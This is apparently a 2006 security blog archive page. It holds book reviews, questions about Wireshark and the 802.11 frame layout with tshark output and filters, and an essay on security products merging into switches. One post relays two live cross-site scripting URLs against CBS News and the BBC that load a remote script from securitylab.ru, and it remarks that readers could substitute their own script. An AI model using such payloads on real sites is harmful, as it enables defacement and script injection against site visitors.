Senin, 28 Agustus 2006

Review of 802.11 Wireless Networks Posted

Amazon.com just posted my five star review of 802.11 Wireless Networks: The Definitive Guide, 2nd Ed by Matthew Gast. Wow, what an excellent book. From the review:

I tend not to read and review books on as broad a subject as "wireless networking." I've read and reviewed wireless security books like Real 802.11 Security and Wi-Foo, but 802.11 Wireless Networks: The Definitive Guide, 2nd Ed (8WN2E) was a departure for me. Thankfully, 8WN2E is an incredible book. It exceeded my expectations and definitely earned its "Definitive Guide" status.

In addition to the book, I recommend Matthew's blog posts Top Ten 802.11 Myths of 2005 and When Is 54 Not Equal to 54? A Look at 802.11a, b, and g Throughput.

One of the marks of a great book is authoritatively answering a question I've pondered for a while. For example, I've heard that the introduction of 802.11b stations into an 802.11g network means all stations run at 802.11b speeds. This is absolutely false.

On p 303 he says:

Only the protection frames are required to be transmitted at the 802.11b-compatible data rates. Protection does not require 802.11g stations to use a slower data rate for the payload data, as is commonly asserted.

Brilliant. I even added tabs to this book -- I hardly ever do that.

Minggu, 27 Agustus 2006

Why 0wn When You Can XSS

The creative Russians at Security Lab posted word of two more high-profile sites with Cross Site Scripting (XSS) vulnerabilities. They used this announcement to demonstrate problems at CBS News and the BBC.

The URL they provide for CBS is:

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1 \
--%3E%3Cscript%20src=http://www.securitylab.ru/test/sc.js%3E%3C/script%3E%3C!--

(Remove the space and \ to make the URL one big line.)

Looks like there's a problem with the zipcode part of the site through which one can check local weather.

The URL for the BBC is similar:

http://www.bbc.co.uk/bbcone/listings/index.shtml?service_id=4223&DAY=today %22%3E%3Cscript%20src=http://www.securitylab.ru/test/sc.js%3E%3C/script%3E%3C!--

(Remove the space and \ to make the URL one big line.)

The file sc.js that they retrieve has the following:

document.write('<p align=left>Mon, 28 August 2006');
document.write('<p align=center><b>George Bush appoints a 9 year old to be the chairperson of the Information Security Deportment</b>');
...truncated...

The net effect is demonstrated by these screen captures for CBS News and the BBC.

Yes, the use of sc.js means you could replace the URL http://www.securitylab.ru/test/sc.js with one of your own, causing your custom news to be placed at either site -- until they disable the functionality or remove the vulnerability.

Eight to ten years ago Web defacements were the rage. They seemed to get less attention as the major players removed traditional means of exploitation. As Web sites have become more complex, intruders are finding new ways to abuse them. While this is less of a defacement and more of a dynamic presentation of attacker information, it's still a big problem. Think of the havoc false information could temporarily cause.

People already shouldn't trust what they read in emails. Soon they may lose trust in what they read on Web sites.

Sabtu, 26 Agustus 2006

A Real Wireshark Quirk

Ok, what is the deal with this? (By the way, I don't care if this sounds like mindless rambling. It's late on a Saturday night and I'm analyzing traffic. W00t.)

Here are TCP flags from a random segment.

Flags: 0x0018 (PSH, ACK)
0... .... = Congestion Window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set
..0. .... = Urgent: Not set
...1 .... = Acknowledgment: Set
.... 1... = Push: Set
.... .0.. = Reset: Not set
.... ..0. = Syn: Not set
.... ...0 = Fin: Not set

TCP flags occupy 1 byte, and that's it. Why does Wireshark/etc. say

Flags: 0x0018 (PSH, ACK)

Why not

Flags: 0x18 (PSH, ACK)

that instead?

Deciphering 802.11

I'm reading the excellent 802.11 Wireless Networks: The Definitive Guide, 2nd Ed by Matthew Gast. Matthew knows 802.11, period. I can't wait to review this book. I wish I had read it sooner.

I've been analyzing network traffic in Wireshark while devouring the book. I read that figures like 3-10 (reproduced below -- please consider this free publicity, O'Reilly!) show the least significant bit (LSb) first -- at least within a defined field.

Also, although the diagrams are LSb first, the text uses values that are most siginifcant bit (MSb) first. For example, the subtype for a RTS frame is depicted as 1101 in a diagram but 1011 in the text and Table 3-1.

This is where I became confused when closely inspecting Wireshark output.

The top of the figure shows a generic 802.11 MAC frame. The bottom of the figure expands upon the Frame Control field. With the FC field, notice the bits are numbered 0 to 15, with 0 at the far left and 15 at the far right of the diagram.



So what does this look like on the wire? Here is Tshark's rendition of the important parts.

orr:/home/richard$ tshark -n -V -x -r sample_wireless.lpc
Frame 1 (97 bytes on wire, 97 bytes captured)
Arrival Time: Apr 5, 2006 20:27:06.651549000
Time delta from previous packet: 0.000000000 seconds
Time since reference or first frame: 0.000000000 seconds
Frame Number: 1
Packet Length: 97 bytes
Capture Length: 97 bytes
Frame is marked: False
Protocols in frame: wlan
IEEE 802.11
Type/Subtype: Probe Response (5)
Frame Control: 0x0850 (Normal)
Version: 0
Type: Management frame (0)
Subtype: 5
Flags: 0x8
DS status: Not leaving DS or network is operating in AD-HOC mode
(To DS: 0 From DS: 0) (0x00)
.... .0.. = More Fragments: This is the last fragment
.... 1... = Retry: Frame is being retransmitted
...0 .... = PWR MGT: STA will stay up
..0. .... = More Data: No data buffered
.0.. .... = Protected flag: Data is not protected
0... .... = Order flag: Not strictly ordered
Duration: 314
Destination address: 00:20:a6:4c:3b:87 (00:20:a6:4c:3b:87)
Source address: 00:0f:f8:58:40:cb (00:0f:f8:58:40:cb)
BSS Id: 00:0f:f8:58:40:cb (00:0f:f8:58:40:cb)
Fragment number: 0
Sequence number: 367
...edited...

0000 50 08 3a 01 00 20 a6 4c 3b 87 00 0f f8 58 40 cb P.:.. .L;....X@.
0010 00 0f f8 58 40 cb f0 16 0d ab 9f 1e 2e 00 00 00 ...X@...........
0020 64 00 01 00 00 0b 00 00 00 00 00 00 00 00 00 00 d...............
0030 00 01 04 82 84 8b 96 03 01 0b dd 06 00 40 96 01 .............@..
0040 01 00 dd 05 00 40 96 03 02 dd 16 00 40 96 04 00 .....@......@...
0050 03 06 a5 00 00 22 a5 00 00 41 54 00 00 61 43 00 ....."...AT..aC.
0060 00 .

If you don't like reading text, here is a jpg or the packet itself.

In any case, you'll see this represents the Frame Control field.

Frame Control: 0x0850 (Normal)

If you look at the hex output above, however you see this:

0000 50 08 3a 01 00 20 a6 4c 3b 87 00 0f f8 58 40 cb P.:.. .L;....X@.

The 0x5008 is represented as 0x0850 by Tshark/Wireshark/whatever. Why not 0x5008? Is it because Frame Control is 16 bits?

At this point it would be nice for someone to respond and say "That's because..." I'm guessing that although traffic is sent in network byte order, the positioning of those bytes may be interpreted differently when two bytes are needed to represent an entire field. (Frame Control is 16 bits or 2 bytes.)

Thus far the only relevant line I've read is on p. 78:

The most significant bits in the 802.11 specification come at the end of fields.

Can anyone comment? Sorry if this is a dumb question -- I've been working with this chapter for a few hours, and even Matthew warns people not to read it unless they really need to understand 802.11 internals.

By the way, the following filter has been helpful to ignore Probe Requests, Probe Responses, and Beacons while inspecting wireless traffic.

!(wlan.fc.type == 0 and wlan.fc.subtype == 4) and !(wlan.fc.type == 0 and wlan.fc.subtype == 5) and !(wlan.fc.type == 0 and wlan.fc.subtype == 8)

I'm also using the following dumb for loop to look for traces with specific type and subtypes set, so I can see real traffic.

$ for i in `ls *.dump`; do echo $i && tshark -n -r $i -R "wlan.fc.type == 1 and wlan.fc.subtype == 10"; done

The -R feature lets you pass a Wireshark display filter as if it were a capture filter or BPF.

Jumat, 25 Agustus 2006

Review of How to Cheat at Securing a Wireless Network Posted

Amazon.com just posted my three star review of How to Cheat at Securing a Wireless Network. From the review:

How to Cheat at Securing a Wireless Network (HTCASAWN) seemed to have a lot of promise. A quick initial look showed discussions of wireless VLANs, WPA, and command syntax for Cisco gear. I thought this would be a good book to read and review, since I try to avoid reading and reviewing books I won't find useful. About halfway through HTCASAWN I made a sad discovery: 7 of 12 chapters are duplicates of chapters from books published in 2001 and 2002, and an eighth chapter largely duplicates a book from 2004. What would probably have been a 4 star review immediately became a tenuous 3 star review, thanks to apparently verbatum reprinting of old material.

This book should probably be called How to Cheat at Writing a Book About Securing a Wireless Network. :(

Review of Winternals Posted

Amazon.com just posted my four star review of Winternals. From the review:

I starting looking at Winternals shortly after Microsoft acquired the Winternals company. I almost didn't read the book, because I do not use the commercial Winternals tools. When I saw the book covered tools available from Sysinternals, I decided to concentrate on information relevant to me. I'm glad I did -- Winternals is a remarkably helpful book.

Kamis, 24 Agustus 2006

All Network Security Functions in the Switch

The ISS acquisition has me thinking again about the security space. I noticed Richard Stiennon wrote the following:

Consolidation? Not even close. There are over 867 vendors in the IT-Harvest knowledge base this morning. When that number falls month to month we can start talking about consolidation.

I'm not sure that's the right way to look at the issue. How many of those companies are 1 year old or less? 2 years? 3 years? I'm guessing that many companies that were firewall development startups have either been bought or gone out of business. The same can be said for other product types. The vendor count may never decrease because new companies are always joining the market to address new problems (or so they claim). I think that process is consolidation.

The main reason I posted this entry, however, is the title above. I am not the only person to discuss collapsing all network security functions into switches, and I have probably said something similar already. Nevertheless, I believe that the future is not bright for companies that want to introduce network security products but remain independent.

Let me define a few terms. By "network security" I mean products that interact with network traffic, for inspection or access control decisions. I do not mean products which work on the host level. When I say "remain independent" I mean start as a small company and grow to become a billion dollar plus company.

It seems as though all network security functions are going to collapse into the devices which carry traffic -- switches. Consider a router to be a "layer 3 switch" for the sake of this argument. If you can't accept that, imagine I said "switches and routers" earlier.

I think the shelf life of point products is going to become increasingly short. In other words, I could see IBM eventually selling or abandoning its ISS network security product line. Why? IBM doesn't make switches or routers that compete with Cisco. The functions that ISS network security products provide, however, are going to end up in Cisco switches. Those features are going to be available as upgrades to sufficiently powerful switches, leaving managers with the choice of running Cisco plus other boxes, or just Cisco. They will choose "just Cisco."

Am I Cisco hack? No (but I do have my CCNA). Do I think this is the best of all possible worlds? No, since I prefer Cisco's routing and switching to its security products. Nevertheless, the drive to consolidate products is going to eventually collapse network security functionality down to the only boxes which absolutely must remain -- switches.

I expect to see network security point products continue to be developed. However, they will continue to be outsourced research, development, and viability testing factories for Cisco. When Cisco sees a product it likes, it will buy the company and then integrate the functionality into its own equipment.

Where does this leave the other security gorillas, and gorilla wanna-bes? Those that focus on host-centric products may continue to exist, but there is a good chance that they will be continue to be bought by Microsoft. Those that provide services to make all this work will grow. I think this is where IBM and other giant integrators can make a good living.